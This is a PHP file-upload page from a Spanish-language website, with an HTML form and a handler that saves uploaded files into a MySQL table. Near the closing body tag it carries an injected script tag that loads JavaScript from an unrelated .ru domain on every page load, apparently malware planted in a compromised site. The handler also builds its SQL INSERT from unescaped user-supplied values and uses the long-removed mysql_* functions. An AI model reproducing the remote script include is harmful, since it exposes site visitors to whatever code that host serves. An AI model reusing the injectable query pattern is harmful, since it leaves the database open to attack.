File: /home/asjudine/public_html/adjunta_archivo.php
<html>
<head>
<title>Documento sin título</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.Estilo1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<script languaje="JavaScript">
function valida(envio)
{
if (confirm("Es correcto el archivo a adjuntar"))
{
return (true);
}
else
{
return (false);
}
return (true);
}
</SCRIPT>
</head>
<body>
<form enctype="multipart/form-data" action="" method="post" name="envio">
<table width="600" border="1" align="center" cellpadding="0" cellspacing="2" bordercolor="#0099FF">
<tr bgcolor="#0099FF">
<th colspan="2" scope="row">FORMULARIO PARA SUBIR EL ARCHIVO A ENVIAR </th>
</tr>
<input name="identificacion" type="hidden" size="15" maxlength="15" value="">
<input name="contador" type="hidden" size="11" maxlength="11" value="">
<input name="hora_envio" type="hidden" size="11" maxlength="11" value="">
<tr bgcolor="#FFFFCC">
<th width="248" scope="row"><div align="right"><span class="Estilo1">UBICACION DEL ARCHIVO : </span></div></th>
<td width="249"><input type="file" name="archivito" size="40" maxlength="40"></td>
</tr>
<tr bgcolor="#FFFFCC">
<th colspan="2" scope="row"><input name="adjuntar" type="submit" id = "adjuntar" value="Adjuntar archivo" onClick="valida(this.form)"></th>
</tr>
</table>
</form>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>
<?php
if($_POST[adjuntar])
{
require_once("mainfile.php");
include ("config.php");
global $dbi;
$query_Recordset1 = "SELECT * FROM archivos";
$Recordset1 = mysql_query($query_Recordset1, $dbi) or die(mysql_error());
$dia = date("d");
$mes = date("m");
$ano = date("Y");
$fecha = $dia."-".$mes."-".$ano;
$archivo = $_FILES["archivito"]["tmp_name"];
$tamanio = $_FILES["archivito"]["size"];
$tipo = $_FILES["archivito"]["type"];
$nombre = $_FILES["archivito"]["name"];
if ( $archivo != "none" )
{
$fp = fopen($archivo, "rb");
$contenido = fread($fp, $tamanio);
$contenido = addslashes($contenido);
fclose($fp);
$sql = "INSERT INTO archivos (nombre, fecha, hora, contenido, tipo, Identificacion, registro, registro_interno) VALUES ('$nombre','$fecha','$hora_envio','$contenido','$tipo','$identificacion','0','$contador')";
$conn = mysql_query($sql, $dbi) or die(mysql_error($dbi));
echo "<script>history.back()</script>";
}
}
?>